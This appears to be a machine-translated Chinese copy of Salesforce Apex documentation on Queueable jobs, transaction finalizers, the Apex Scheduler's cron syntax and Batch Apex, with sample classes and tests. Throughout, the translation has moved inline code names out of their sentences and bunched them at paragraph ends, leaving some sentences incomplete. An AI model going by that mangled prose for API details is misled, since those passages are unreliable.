将延迟设置为 0(零)时,可排队作业将作为 越快越好。使用链接的可排队作业,实现一种减慢速度的机制 或在必要时停止作业。如果没有这样的故障安全机制,您可以 快速达到每日异步 Apex 限制。

在以下情况下,在 运行可排队作业。

  • 如果外部系统是有速率限制的,并且可以通过链接过载 可排队的作业,这些作业正在进行快速标注。
  • 轮询结果时,如果执行速度过快可能会导致浪费 每日异步 Apex 限制。

此示例通过传入实例来添加延迟异步执行的作业 用于执行的接口的类实现。在作业开始前,至少需要 5 分钟的延迟 执行。Queueable

Integer delayInMinutes = 5;
ID jobID = System.enqueueJob(new MyQueueableClass(), delayInMinutes);

管理员可以在计划中定义默认的组织范围延迟(1-600 秒) 在没有延迟参数的情况下计划的可排队作业。使用延迟设置 作为减慢默认可排队作业执行速度的机制。如果省略该设置, Apex 使用标准的可排队计时,不会增加延迟。

注意

使用该方法将忽略任何组织范围的排队延迟设置。System.enqueueJob(queueable, delay)

通过以下方式之一定义组织范围的延迟。

  • 在“设置”的“快速查找”框中,输入 、 ,然后为默认最小值输入一个值(1-600 秒) 没有延迟的可排队作业的排队延迟(以秒为单位) 参数Apex Settings
  • 若要使用元数据 API 以编程方式启用此功能,请参阅元数据 API 中的 ApexSettings 开发人员指南。

添加具有指定堆栈深度的可排队作业

使用可在 asyncOptions 参数。System.enqueueJob(queueable, asyncOptions)

System.AsyncInfo 类属性 包含当前和最大堆栈深度以及最小可排队延迟。

System.AsyncInfo 类具有 帮助您确定是否在 Queueable 中设置了最大堆栈深度的方法 请求,并获取可排队对象的堆栈深度和队列延迟 当前正在运行。使用有关当前可排队执行的信息使 关于调整后续通话延迟的决定。

这些是类中的方法。System.AsyncInfo

  • hasMaxStackDepth()
  • getCurrentQueueableStackDepth()
  • getMaximumQueueableStackDepth()
  • getMinimumQueueableDelayInMinutes()

This example uses stack depth to terminate a chained job and prevent it from reaching the daily maximum number of asynchronous Apex method executions.

// Fibonacci
public class FibonacciDepthQueueable implements Queueable {
   
    private long nMinus1, nMinus2;
       
    public static void calculateFibonacciTo(integer depth) {
        AsyncOptions asyncOptions = new AsyncOptions();
        asyncOptions.MaximumQueueableStackDepth = depth;
        System.enqueueJob(new FibonacciDepthQueueable(null, null), asyncOptions);
    }
       
    private FibonacciDepthQueueable(long nMinus1param, long nMinus2param) {
        nMinus1 = nMinus1param;
        nMinus2 = nMinus2param;
    }
   
    public void execute(QueueableContext context) {
       
        integer depth = AsyncInfo.getCurrentQueueableStackDepth();
       
        // Calculate step
        long fibonacciSequenceStep;
        switch on (depth) {
            when 1, 2 {
                fibonacciSequenceStep = 1;
            }
            when else {
                fibonacciSequenceStep = nMinus1 + nMinus2;
            }
        }
       
        System.debug('depth: ' + depth + ' fibonacciSequenceStep: ' + fibonacciSequenceStep);
       
        if(System.AsyncInfo.hasMaxStackDepth() &&
           AsyncInfo.getCurrentQueueableStackDepth() >= 
           AsyncInfo.getMaximumQueueableStackDepth()) {
            // Reached maximum stack depth
            Fibonacci__c result = new Fibonacci__c(
                Depth__c = depth,
                Result = fibonacciSequenceStep
                );
            insert result;
        } else {
            System.enqueueJob(new FibonacciDepthQueueable(fibonacciSequenceStep, nMinus1));
        }
    }
}

测试可排队作业

此示例演示如何在测试方法中测试可排队作业的执行。一个 可排队作业是一个异步进程。确保此过程在 测试方法中,作业被提交到 AND 块之间的队列中。系统执行所有 异步进程在语句之后同步启动测试方法。接下来,测试方法 通过查询作业所在的帐户来验证可排队作业的结果 创建。

Test.startTestTest.stopTestTest.stopTest

@isTest
public class AsyncExecutionExampleTest {
    @isTest
    static void test1() {
        // startTest/stopTest block to force async processes 
        //   to run in the test.
        Test.startTest();        
        System.enqueueJob(new AsyncExecutionExample());
        Test.stopTest();
        
        // Validate that the job has run
        // by verifying that the record was created.
        // This query returns only the account created in test context by the 
        // Queueable class method.
        Account acct = [SELECT Name,Phone FROM Account WHERE Name='Acme' LIMIT 1];
        System.assertNotEquals(null, acct);
        System.assertEquals('(415) 555-1212', acct.Phone);
    }
}

链接作业

若要在另一个作业首先完成其他处理后运行作业,可以链接 可排队的作业。若要将一个作业链接到另一个作业,请从可排队的方法提交第二个作业 类。您只能从正在执行的作业中添加一个作业,这意味着只能添加一个作业 每个父作业都可以存在子作业。例如,如果您有第二个班级 调用来实现接口,您可以将此类添加到 方法中的队列为 遵循:execute()SecondJobQueueableexecute()

public class AsyncExecutionExample implements Queueable {
    public void execute(QueueableContext context) {
        // Your processing logic here       

        // Chain this job to next job by submitting the next job
        System.enqueueJob(new SecondJob());
    }
}

注意

Apex 允许来自可排队作业的 HTTP 和 Web 服务标注(如果它们实现) 标记 接口。在实现此接口的可排队作业中,标注也是 允许在链接的可排队作业中。Database.AllowsCallouts

您可以使用适当的堆栈深度测试链接的可排队作业,但请注意 适用的 Apex 调速器限制。请参阅添加具有指定堆栈深度的可排队作业。

可排队的Apex限制

  • 排队作业的执行计入共享限制一次 异步 Apex 方法执行。请参阅 Lightning 平台Apex限制。
  • 在单个事务中,您最多可以将 50 个作业添加到队列中。异步 事务(例如,从批处理 Apex 作业),您只能将一个作业添加到 带有 的队列。自 检查一个事务中添加了多少个可排队的作业,调用 Limits.getQueueableJobs()。System.enqueueJobSystem.enqueueJob
  • 由于对链接作业的深度没有限制,因此可以链接一个作业 到另一个。您可以对每个新的子作业重复此过程,以将其链接到 新的子工作。对于 Developer Edition 和 Trial 组织,最大堆栈 链式作业的深度为 5,这意味着您可以链式作业四次。这 链中的最大作业数为 5,包括初始父级可排队作业 工作。
  • 将作业与 链接时,只能从正在执行的作业中添加一个作业。 每个父可排队作业只能存在一个子作业。启动多个 不支持来自同一可排队作业的子作业。System.enqueueJob
  • 检测重复的可排队作业 通过基于签名仅对异步可排队作业
    的单个实例进行排队,减少资源争用和争用条件。尝试将多个 Queueable 作业添加到具有相同签名的处理队列中会导致 DuplicateMessageException,当您尝试将后续作业加入队列时。
  • 事务终结
    通过事务终结器功能,您可以使用接口将操作附加到使用 Queueable 框架的异步 Apex 作业。一个特定的用例是在可排队作业失败时设计恢复操作。System.Finalizer
  • 事务终结器错误消息 通过分析这些错误消息
    来解决语义和运行时问题。

检测重复的可排队作业

通过仅将 基于签名的异步可排队作业的单个实例。尝试添加更多内容 将一个 Queueable 作业发送到具有相同签名的处理队列会导致 DuplicateMessageException,当您尝试将后续作业排入队列时。

实施细节

使用 类。 使用 中的这些方法添加不同的字符串、ID 或整数。QueueableDuplicateSignature.BuilderQueueableDuplicateSignature.Builder

  • addString(inputString)
  • addId(inputId)
  • addInteger(inputInteger)

当签名具有所需的组件时,调用该方法并存储唯一的可排队作业 在属性中的签名 类。使用将作业排入队列 带有参数的方法。.build()DuplicateSignatureAsyncOptionsSystem.enqueueJob()AsyncOptions

要确定大小, 剩余大小和可排队作业签名的最大大小(以字节为单位)使用以下命令 类中的方法。QueueableDuplicateSignature.Builder

  • getSize()
  • getRemainingSize()
  • getMaxSize()

例子

此示例使用 UserId 和字符串 .MyQueueable

AsyncOptions options = new AsyncOptions();
options.DuplicateSignature = QueueableDuplicateSignature.Builder()
                                .addId(UserInfo.getUserId())
                                .addString('MyQueueable')
                                .build();
try {
    System.enqueueJob(new MyQueueable(), options);
} catch (DuplicateMessageException ex) {
    //Exception is thrown if there is already an enqueued job with the same 
    //signature
    Assert.areEqual('Attempt to enqueue job with duplicate queueable signature',
        ex.getMessage());
}

此示例使用 ApexClass Id 和 一个 sObject。

AsyncOptions options = new AsyncOptions();
options.DuplicateSignature = QueueableDuplicateSignature.Builder()
                                .addInteger(System.hashCode(someAccount))
                                .addId([SELECT Id FROM ApexClass 
                                     WHERE Name='MyQueueable'].Id)
                                .build();
System.enqueueJob(new MyQueueable(), options);

交易终结器

使用事务终结器功能可以附加操作、 使用接口,以 使用 Queueable 框架的异步 Apex 作业。一个具体的用例是设计 可排队作业失败时的恢复操作。

System.Finalizer“事务终结器”功能为您提供了直接指定 异步作业成功或失败时要执行的操作。交易前 终结器,对于异步作业失败,只能执行以下两项操作:

  • 轮询使用 SOQL 查询的状态,如果作业失败,则重新排队AsyncApexJob
  • 当批处理 Apex 方法遇到未处理的 例外

使用事务终结器,可以将操作后序列附加到 Queueable job,并根据作业执行结果采取相关操作。

一个可排队的作业,该作业 由于未处理的异常而失败,可以通过 事务终结器。此限制适用于一系列连续的可排队作业 失败。当 Queueable 作业完成而没有未处理时,计数器将重置 例外。

终结器可以作为内部类实现。此外,您还可以 使用相同的类实现 Queueable 和 Finalizer 接口。这 可排队作业和终结器在单独的 Apex 和数据库事务中运行。为 例如,Queueable 可以包含 DML,终结器可以包含 REST 标注。 使用终结器不算作针对每日异步 Apex 的额外执行 限制。同步调控器限制适用于终结器事务,但 异步限制适用的以下情况:

  • 总堆大小
  • 添加到队列的最大 Apex 作业数System.enqueueJob
  • 每个 Apex 调用允许的具有注释的方法的最大数量future

有关调控器限制的详细信息,请参阅执行调控器和限制。

System.Finalizer 接口

该接口包括以下方法:

System.Finalizerexecute

global void execute(System.FinalizerContext ctx) {}

这 方法在为每个排队作业提供的 FinalizerContext 实例上调用 附有终结器。在该方法中,您可以定义在 可排队作业。Apex 运行时引擎将 的实例作为 参数添加到 execute 方法。

executeSystem.FinalizerContext

System.FinalizerContext 接口

界面 包含四种方法。

System.FinalizerContext

  • getAsyncApexJobId方法:global Id getAsyncApexJobId {}返回 为其定义此终结器的可排队作业的 ID。
  • getRequestId方法:global String getRequestId {}返回 请求 ID,唯一标识请求的字符串,可以是 与事件监控日志相关联。与 AsyncApexJob 关联 表中,请改用该方法。Queueable 作业和终结器执行都共享 (相同)请求 ID。getAsyncApexJobId
  • getResult方法:global System.ParentJobResult getResult {}返回 枚举, 表示父异步 Apex Queueable 作业的结果 附上终结器。枚举采用以下值:、。System.ParentJobResultSUCCESSUNHANDLED_EXCEPTION
  • getException方法:global System.Exception getException {}返回 Queueable 作业在以下情况下失败的异常为 , null 否则。getResultUNHANDLED_EXCEPTION

使用该方法将终结器附加到可排队作业。

System.attachFinalizer

  1. 定义实现接口的类。System.Finalizer
  2. 在 Queueable 作业的方法中附加终结器。若要附加终结器,请使用 As 参数:实现 System.Finalizer 的实例化类 接口。executeSystem.attachFinalizerglobal void attachFinalizer(Finalizer finalizer) {}

实施细节

  • 只能将一个终结器实例附加到任何可排队作业。
  • 您可以将单个异步 Apex 作业(Queueable、Future 或 Batch)加入队列 在终结器的方法实现中。execute
  • 终结器实现中允许使用标注。
  • 终结器框架使用终结器对象的状态(如果附加) 在可排队执行结束时。终结器状态的突变,在 它是附加的,因此是受支持的。
  • 声明的变量包括 被序列化和反序列化忽略,因此不会保留在 事务终结器。transient

日志记录终结器示例

此示例演示如何使用事务终结器来记录来自 a 可排队作业,无论作业是成功还是失败。这 此处的 LoggingFinalizer 类实现了 Queueable 和 Finalizer 接口。这 可排队实现实例化终结器,附加它,然后调用 addLog() 方法来缓冲日志消息。终结器实现 LoggingFinalizer 包括允许缓冲的 addLog(message, source) 方法 将 Queueable 作业中的消息记录到终结器的状态。当 Queueable 作业 完成后,终结器实例将提交缓冲的日志。终结器状态为 即使 Queueable 作业失败,也可以保留,并且可以在 DML 中使用 终结器实现或执行。

public class LoggingFinalizer implements Finalizer, Queueable {

  // Queueable implementation
  // A queueable job that uses LoggingFinalizer to buffer the log
  // and commit upon exit, even if the queueable execution fails

    public void execute(QueueableContext ctx) {
        String jobId = '' + ctx.getJobId();
        System.debug('Begin: executing queueable job: ' + jobId);
        try {
            // Create an instance of LoggingFinalizer and attach it
            LoggingFinalizer f = new LoggingFinalizer();
            System.attachFinalizer(f);

            // While executing the job, log using LoggingFinalizer.addLog()
            // Note that addlog() modifies the Finalizer's state after it is attached 
            DateTime start = DateTime.now();
            f.addLog('About to do some work...', jobId);

            while (true) {
              // Results in limit error
            }
        } catch (Exception e) {
            System.debug('Error executing the job [' + jobId + ']: ' + e.getMessage());
        } finally {
            System.debug('Completed: execution of queueable job: ' + jobId);
        }
    }

  // Finalizer implementation
  // Logging finalizer provides a public method addLog(message,source) that allows buffering log lines from the Queueable job.
  // When the Queueable job completes, regardless of success or failure, the LoggingFinalizer instance commits this buffered log.
  // Custom object LogMessage__c has four custom fields-see addLog() method.

    // internal log buffer
    private List<LogMessage__c> logRecords = new List<LogMessage__c>();

    public void execute(FinalizerContext ctx) {
        String parentJobId = '' + ctx.getAsyncApexJobId();
        System.debug('Begin: executing finalizer attached to queueable job: ' + parentJobId);

        // Update the log records with the parent queueable job id
        System.Debug('Updating job id on ' + logRecords.size() + ' log records');
        for (LogMessage__c log : logRecords) {
            log.Request__c = parentJobId; // or could be ctx.getRequestId()
        }
        // Commit the buffer
        System.Debug('committing log records to database');
        Database.insert(logRecords, false);

        if (ctx.getResult() == ParentJobResult.SUCCESS) {
            System.debug('Parent queueable job [' + parentJobId + '] completed successfully.');
        } else {
            System.debug('Parent queueable job [' + parentJobId + '] failed due to unhandled exception: ' + ctx.getException().getMessage());
            System.debug('Enqueueing another instance of the queueable...');
        }
        System.debug('Completed: execution of finalizer attached to queueable job: ' + parentJobId);
    }

    public void addLog(String message, String source) {
        // append the log message to the buffer
        logRecords.add(new LogMessage__c(
            DateTime__c = DateTime.now(),
            Message__c = message,
            Request__c = 'setbeforecommit',
            Source__c = source
        ));
    }
}

重试可排队示例

此示例演示如何在终结器中将失败的 Queueable 作业重新排队。 它还显示作业可以重新排队,最多可排队链接限制为 5 重试。

public class RetryLimitDemo implements Finalizer, Queueable {

  // Queueable implementation
  public void execute(QueueableContext ctx) {
    String jobId = '' + ctx.getJobId();
    System.debug('Begin: executing queueable job: ' + jobId);
    try {
        Finalizer finalizer = new RetryLimitDemo();
        System.attachFinalizer(finalizer);
        System.debug('Attached finalizer');
        Integer accountNumber = 1;
        while (true) { // results in limit error
          Account a = new Account();
          a.Name = 'Account-Number-' + accountNumber;
          insert a;
          accountNumber++;
        }
    } catch (Exception e) {
        System.debug('Error executing the job [' + jobId + ']: ' + e.getMessage());
    } finally {
        System.debug('Completed: execution of queueable job: ' + jobId);
    }
  }

  // Finalizer implementation
  public void execute(FinalizerContext ctx) {
    String parentJobId = '' + ctx.getAsyncApexJobId();
    System.debug('Begin: executing finalizer attached to queueable job: ' + parentJobId);
    if (ctx.getResult() == ParentJobResult.SUCCESS) {
        System.debug('Parent queueable job [' + parentJobId + '] completed successfully.');
    } else {
        System.debug('Parent queueable job [' + parentJobId + '] failed due to unhandled exception: ' + ctx.getException().getMessage());
        System.debug('Enqueueing another instance of the queueable...');
        String newJobId = '' + System.enqueueJob(new RetryLimitDemo()); // This call fails after 5 times when it hits the chaining limit
        System.debug('Enqueued new job: ' + newJobId);
    }
    System.debug('Completed: execution of finalizer attached to queueable job: ' + parentJobId);
  }
}

最佳实践

我们敦促 ISV 在使用具有状态突变的全局终结器时要谨慎 包中的方法。如果订阅者组织的实现在 全局终结器,可能会导致意外行为。检查所有 状态突变方法,用于查看它们如何影响终结器状态和整体 行为。

事务终结器错误消息

通过分析语义和运行时问题来排查这些问题 错误消息。下表提供有关 Apex 调试日志中错误消息的信息。

错误信息失败的上下文失败原因
不能将多个终结器附加到同一个异步Apex 工作可排队的执行System.attachFinalizer()被多次调用 在同一个 Queueable 实例中。
类 {0} 必须实现终结器接口可排队的执行实例化的类参数 to 不实现接口。System.attachFinalizer()System.Finalizer
System.attachFinalizer(Finalizer) 是不允许的 上下文不可排队的执行System.attachFinalizer()在 Apex 中调用 未执行 Queueable 实例的上下文。
参数数量无效可排队的执行无效的参数数System.attachFinalizer()
参数不能为 null可排队的执行System.attachFinalizer()以 null 调用 参数。

如果您有适用于 Salesforce 的 Splunk 附加组件,则可以分析错误 Splunk 日志中的消息。下表提供有关 Splunk 日志。

错误信息失败原因
处理可排队作业 ID 的终结器时出错: {0}执行终结器时出现运行时错误。此错误可以是 未处理的可捕获异常或不可捕获的异常(例如 一个 LimitException),或者不太常见的是内部系统 错误。
处理终结器(类名:{0})时出错 可排队作业 ID:{1}(可排队类 ID:{2})执行终结器时出现运行时错误。此错误可以是 未处理的可捕获异常或不可捕获的异常(例如 一个 LimitException),或者不太常见的是内部系统 错误。

Apex 调度程序

要调用 Apex 类在特定时间运行,请首先实现该类的接口,然后 使用 Salesforce 用户中的“计划Apex”页面指定计划 接口或方法。SchedulableSystem.schedule

重要

Salesforce 计划在指定时间执行类。 实际执行可能会根据服务可用性延迟。

您一次只能有 100 个计划的 Apex 作业。您可以评估您当前的 通过在 Salesforce 中查看“计划作业”页面并使用 类型过滤器等于“Scheduled Apex”。还可以以编程方式查询 CronTrigger 和 CronJobDetail 对象来获取计划的 Apex 计数 工作。

如果出现以下情况,请格外小心 您计划从触发器安排课程。您必须能够 保证触发器添加的计划类不会超过限制。在 特别是,考虑 API 批量更新、导入向导、批量记录更改 用户界面,以及可以在 时间。

如果 Apex 类有一个或多个活动计划作业, 您无法通过 Salesforce 用户界面。但是,您可以启用部署以使用 使用元数据 API 激活计划作业(例如,使用 Salesforce 时) Visual Studio Code 的扩展)。请参阅中的“更改集的部署连接” Salesforce 帮助。

实现 Schedulable 接口

要安排 Apex 类定期运行,首先 编写一个实现 Salesforce 提供的接口的 Apex 类。Schedulable

调度程序以 系统 – 执行所有类,无论用户是否具有执行权限 类与否。

监视或停止计划的 Apex 作业的执行 使用 Salesforce 用户界面,从“设置”中输入“快速查找”框,然后选择“计划作业”。Scheduled Jobs该接口包含一个必须实现的方法。

Schedulableexecute

global void execute(SchedulableContext sc){}

这 实现的方法必须声明为 或 。globalpublic用 此方法实例化要调度的类。

提示

虽然这是可能的 在方法中进行额外的处理,我们建议所有处理都必须采取 放在一个单独的班级中。execute

以下示例 实现 类称为:SchedulableMergeNumbers

global class ScheduledMerge implements Schedulable {
   global void execute(SchedulableContext SC) {
      MergeNumbers M = new MergeNumbers(); 
   }
}

要实现该类,请在 Developer 中执行此示例 安慰。

ScheduledMerge m = new ScheduledMerge();
String sch = '20 30 8 10 2 ?';
String jobID = System.schedule('Merge Job', sch, m);

您还可以使用 与批处理 Apex 的接口 类。下面的示例实现名为 的批处理 Apex 类的接口:SchedulableSchedulableBatchable

global class ScheduledBatchable implements Schedulable {
   global void execute(SchedulableContext sc) {
      Batchable b = new Batchable(); 
      Database.executeBatch(b);
   }
}

计划批处理作业的更简单方法是调用该方法,而无需实现接口。System.scheduleBatchSchedulable

在以下情况下使用 SchedulableContext 对象跟踪计划作业 这是预定的。SchedulableContext 方法返回关联的 CronTrigger 对象的 ID 将此计划作业作为字符串。您可以查询以跟踪计划作业的进度。getTriggerIDCronTrigger

自 停止执行已计划的作业时,请使用该方法和该方法返回的 ID。System.abortJobgetTriggerID

使用查询跟踪计划作业的进度

计划 Apex 作业后,您可以通过以下方式获取有关它的详细信息 在 CronTrigger 上运行 SOQL 查询。您可以检索作业的次数 run,以及计划再次运行作业的日期和时间,如下所示 例。

CronTrigger ct = 
    [SELECT TimesTriggered, NextFireTime
    FROM CronTrigger WHERE Id = :jobID];

前面的示例假定您有一个变量,用于保存作业的 ID。该方法返回作业 ID。如果要执行此查询 在您的 Schedulable 方法中 类,可以通过调用 SchedulableContext 参数来获取当前作业的 ID 变量。假设此变量名称为 ,则 修改后的示例变为:jobIDSystem.scheduleexecutegetTriggerIdsc

CronTrigger ct = 
    [SELECT TimesTriggered, NextFireTime
    FROM CronTrigger WHERE Id = :sc.getTriggerId()];

还可以从 CronJobDetail 获取作业的名称和作业类型 与 CronTrigger 记录关联的记录。为此,请在 Cron触发器。此示例检索具有作业名称的最新 CronTrigger 记录 并从 CronJobDetail 键入。CronJobDetail

CronTrigger job = 
    [SELECT Id, CronJobDetail.Id, CronJobDetail.Name, CronJobDetail.JobType 
    FROM CronTrigger ORDER BY CreatedDate DESC LIMIT 1];

或者,您可以直接查询 CronJobDetail 以获取作业的名称和 类型。下一个示例获取 CronTrigger 记录的作业名称和类型 在前面的示例中查询。获取对应的 CronJobDetail 记录 ID 通过表达式 CronTrigger 记录。CronJobDetail.Id

CronJobDetail ctd = 
    [SELECT Id, Name, JobType 
    FROM CronJobDetail WHERE Id = :job.CronJobDetail.Id];

获取所有 Apex 计划作业(不包括所有其他计划作业)的总数 类型,请执行以下查询。请注意,为作业类型指定了值“7”。 这与计划的 Apex 作业类型相对应。

SELECT COUNT() FROM CronTrigger WHERE CronJobDetail.JobType = '7'

测试 Apex 调度

这 以下是如何使用 Apex 调度程序进行测试的示例。

该方法启动异步 过程。测试计划的 Apex 时,必须确保计划的作业是 在对照结果进行测试之前完成。在继续测试之前,请使用测试方法和方法以确保其完成。进行的所有异步调用 在方法被收集后 系统。执行时,所有 异步进程是同步运行的。如果未在 和 方法中包含该方法,则计划作业将在测试方法结束时执行 对于使用 Salesforce API 版本 25.0 及更高版本保存的 Apex,但在早期版本中则不然。System.schedulestartTeststopTestSystem.schedulestartTeststopTestSystem.schedulestartTeststopTest此示例定义要测试的类。

global class TestScheduledApexFromTestMethod implements Schedulable {

// This test runs a scheduled job at midnight Sept. 3rd. 2042

   public static String CRON_EXP = '0 0 0 3 9 ? 2042';
   
   global void execute(SchedulableContext ctx) {
      CronTrigger ct = [SELECT Id, CronExpression, TimesTriggered, NextFireTime
                FROM CronTrigger WHERE Id = :ctx.getTriggerId()];

      System.assertEquals(CRON_EXP, ct.CronExpression);
      System.assertEquals(0, ct.TimesTriggered);
      System.assertEquals('2042-09-03 00:00:00', String.valueOf(ct.NextFireTime));

      Account a = [SELECT Id, Name FROM Account WHERE Name = 
                  'testScheduledApexFromTestMethod'];
      a.name = 'testScheduledApexFromTestMethodUpdated';
      update a;
   }   
}

以下测试 类:

@istest
class TestClass {

   static testmethod void test() {
   Test.startTest();

      Account a = new Account();
      a.Name = 'testScheduledApexFromTestMethod';
      insert a;

      // Schedule the test job

      String jobId = System.schedule('testBasicScheduledApex',
      TestScheduledApexFromTestMethod.CRON_EXP, 
         new TestScheduledApexFromTestMethod());

      // Get the information from the CronTrigger API object
      CronTrigger ct = [SELECT Id, CronExpression, TimesTriggered, 
         NextFireTime
         FROM CronTrigger WHERE id = :jobId];

      // Verify the expressions are the same
      System.assertEquals(TestScheduledApexFromTestMethod.CRON_EXP, 
         ct.CronExpression);

      // Verify the job has not run
      System.assertEquals(0, ct.TimesTriggered);

      // Verify the next time the job will run
      System.assertEquals('2042-09-03 00:00:00', 
         String.valueOf(ct.NextFireTime));
      System.assertNotEquals('testScheduledApexFromTestMethodUpdated',
         [SELECT id, name FROM account WHERE id = :a.id].name);

   Test.stopTest();

   System.assertEquals('testScheduledApexFromTestMethodUpdated',
   [SELECT Id, Name FROM Account WHERE Id = :a.Id].Name);

   }
}

使用 System.schedule 方法

使用接口实现类后,使用该方法执行该类。调度程序以 系统 – 执行所有类,无论用户是否具有执行权限 类,或不类。

SchedulableSystem.schedule

注意

如果您打算安排 类。您必须能够保证触发器 添加的预定课程不会超过限制。特别要考虑 API 批量更新、导入向导、通过用户批量记录更改 接口,以及可以在 时间。

该方法采用三个参数:作业的名称、 用于表示作业计划运行的时间和日期的表达式, 和类的名称。System.schedule此表达式具有以下特征 语法:

Seconds Minutes Hours Day_of_month Month Day_of_week Optional_year

注意

Salesforce的 计划在指定时间执行类。实际执行可以是 根据服务可用性延迟。

该方法使用 用户时区作为所有计划的基础。System.schedule

以下是表达式的值:

名字特殊字符
Seconds0–59没有
Minutes0–59没有
Hours0–23, – * /
Day_of_month1–31, – * ? / L W
Month1-12 或以下:JANFEBMARAPRMAYJUNJULAUGSEPOCTNOVDEC, – * /
Day_of_week1–7 or the following:SUNMONTUEWEDTHUFRISAT, – * ? / L #
optional_yearnull 或 1970–2099, – * /

特殊字符定义如下:

特殊字符描述
,分隔值。例如,用于指定 一个多月。JAN, MAR, APR
指定范围。例如,use 指定 more than 一个月。JAN-MAR
*指定所有值。例如,如果指定为 ,则作业计划为 每个月。Month*
?不指定任何特定值。此选项仅可用 for 和 .它通常用于以下情况 为一个指定值,而不是为另一个指定值。Day_of_monthDay_of_week
/指定增量。斜杠前的数字指定 间隔何时开始,斜杠后的数字为 间隔量。例如,如果指定 for ,则 Apex 类每隔 每月的第五天,从 月。1/5Day_of_month
L指定范围的结束(最后一个)。此选项仅 可用于 和 。当与 一起使用时,始终表示当月的最后一天,例如 1 月 31 日、2 月 29 日(闰年)等。使用时 就其本身而言,它总是意味着 或 。当与值一起使用时,它表示最后一个 当月的那一天。例如,如果指定 ,则 指定当月的最后一个星期一。不要使用范围 值替换为 结果可能出乎意料。Day_of_monthDay_of_weekDay of monthLDay_of_week7SATDay_of_week2LL
W指定给定的最近的工作日(星期一至星期五) 日。此选项仅适用于 。例如,如果指定 ,而第 20 个是 星期六,上课在19日。如果指定 ,并且第一个是 星期六,课程不是在上个月上课,而是在 第三次,即下周一。Day_of_month20W1W提示用 的 和 一起指定 每月的最后一个工作日。LW
#指定月份中的某一天,在 格式。 此选项仅适用于 。指定的工作日 () 之前的数字。之后的数字 指定日期 的月份。例如,指定意味着类在 每个月的第一个星期一。nthweekday#day_of_monthDay_of_week#SUN-SAT#2#1

以下是如何使用 表达。

表达描述
0 0 13 * * ?每天下午1点上课。
0 5 * * * ?课程每小时上课一次,整点后 5 分钟。注意Apex 不允许将作业计划多次 小时。
0 0 22 ? * 6L每个月的最后一个星期五晚上 10 点上课。
0 0 10 ? * MON-FRI上课时间为周一至周五上午 10 点。
0 0 20 * * ? 2010在2010年,每天晚上8点上课。

在下面的示例中,该类实现接口。该课程计划于上午 8 点在 2月13日。ProscheduleSchedulable

Proschedule p = new Proschedule();
        String sch = '0 0 8 13 2 ?';
        System.schedule('One Time Pro', sch, p);

将 System.scheduleBatch 方法用于批处理作业

您可以调用该方法 将批处理作业安排为在将来的指定时间运行一次。此方法是 仅适用于批处理类,不需要接口的实现。因此,这很容易 为一次执行计划批处理作业。有关如何使用该方法的更多详细信息,请参见使用 System.scheduleBatch 方法。System.scheduleBatchSchedulableSystem.scheduleBatch

Apex Scheduler 限制

  • 您一次只能有 100 个计划的 Apex 作业。您可以评估您的 通过查看 Salesforce 中的“计划作业”页面并创建 具有等于“Scheduled Apex”的类型过滤器的自定义视图。您可以 还以编程方式查询 CronTrigger 和 CronJobDetail 对象以获取 Apex 计划作业的计数。
  • 每 24 小时内计划的最大 Apex 执行次数为 250,000 次或 组织中的用户许可证数乘以 200,以 大。此限制适用于整个组织,并与所有异步 Apex 共享: Batch Apex、Queueable Apex、scheduled Apex 和 future 方法。检查多少 异步 Apex 执行可用,向 REST API 资源发出请求。查看清单 REST 中的组织限制 API 开发人员指南。计入此目的的许可证类型 限制包括完整的 Salesforce 和 Salesforce Platform 用户许可证、应用程序订阅 用户许可证、仅限 Chatter 用户、身份用户和公司社区 用户。limits

Apex Scheduler 说明和最佳实践

  • Salesforce 计划在指定时间执行类。实际执行 可能会根据服务可用性延迟。
  • 如果您打算从触发器安排课程,请格外小心。你 必须能够保证触发器不会添加更多计划类 超过极限。具体而言,请考虑 API 批量更新、导入向导、批量记录 通过用户界面进行更改,以及可以有多个记录的所有情况 一次更新。
  • 尽管可以在该方法中进行其他处理,但我们建议所有 处理必须在单独的类中进行。execute
  • 计划的 Apex 不支持同步 Web 服务标注。要使 异步标注,使用 Queueable Apex,实现标记接口。如果你的 scheduled Apex 使用标记器接口执行批处理作业,支持 批处理类。请参阅使用 Batch Apex。Database.AllowsCalloutsDatabase.AllowsCallouts
  • 计划在 Salesforce 服务维护停机期间运行的 Apex 作业将是 计划在服务恢复后运行,此时系统资源变为 可用。如果在发生停机时计划的 Apex 作业正在运行,则该作业是 在服务恢复后回滚并再次计划。大修后 升级时,启动计划的 Apex 作业可能会有比平时更长的延迟 因为系统使用率激增。
  • 计划作业对象及其成员变量和属性将持续存在 从初始化到后续计划运行。对象状态 persists 的调用 后续作业执行。System.schedule()使用 Batch Apex,可以强制执行新的 使用新作业的序列化状态。对于 Scheduled Apex,请使用关键字,以便成员变量和 属性不会持久化。请参阅使用 transient 关键字。Database.Statefultransient

批处理Apex

开发人员现在可以使用批处理 Apex 来构建复杂的、长时间运行的流程,这些流程可以运行 在闪电平台上的数千条记录上。Batch Apex 在小型 批量记录,涵盖整个记录集,并将处理分解为 可管理的块。例如,开发人员可以构建一个运行 每晚查找超过特定日期的记录并将它们添加到 档案。或者,开发人员可以构建一个数据清理操作,该操作遍及所有 每晚的帐户和业务机会,并在必要时根据 自定义条件。

Batch Apex 公开为必须由 开发人员。可以使用 Apex 在运行时以编程方式调用批处理作业。一次只能有五个排队或活动的批处理作业。您可以评估您的 通过在 Salesforce 中查看“计划作业”页面或以编程方式使用 用于查询对象的 SOAP API。

AsyncApexJob

警告

如果您是 计划从触发器调用批处理作业。您必须能够保证 触发器添加的批处理作业不会超过限制。特别 考虑 API 批量更新、导入向导、通过用户批量记录更改 接口,以及可以在 时间。

还可以使用 Apex 调度程序以编程方式调度批处理作业,以在特定时间运行,或使用调度调度作业 Salesforce 用户界面中的 Apex 页面。有关 Schedule Apex 的更多信息 页面上,请参阅 Salesforce 联机帮助中的“安排 Apex 作业”。

批处理 Apex 接口还用于 Apex 托管共享重新计算。

有关批处理作业的详细信息,请继续使用 Batch Apex。

有关 Apex 托管共享的详细信息,请参阅了解 Apex 托管共享。

有关从批处理 Apex 触发平台事件的详细信息,请参阅从批处理 Apex 触发平台事件

  • 使用 Batch Apex
  • 从 Batch Apex 触发平台事件 Batch Apex
    类可以在遇到错误或异常时触发平台事件。侦听事件的客户端可以获取可操作的信息,例如事件失败的频率以及失败时哪些记录在范围内。对于 Salesforce Platform 内部错误和其他无法捕获的 Apex 异常(如 LimitExceptions),也会触发事件,这些异常是由达到调控器限制引起的。

使用 Batch Apex

要使用批处理 Apex,请编写一个实现 Salesforce 提供的接口的 Apex 类,然后调用 以编程方式类。Database.Batchable

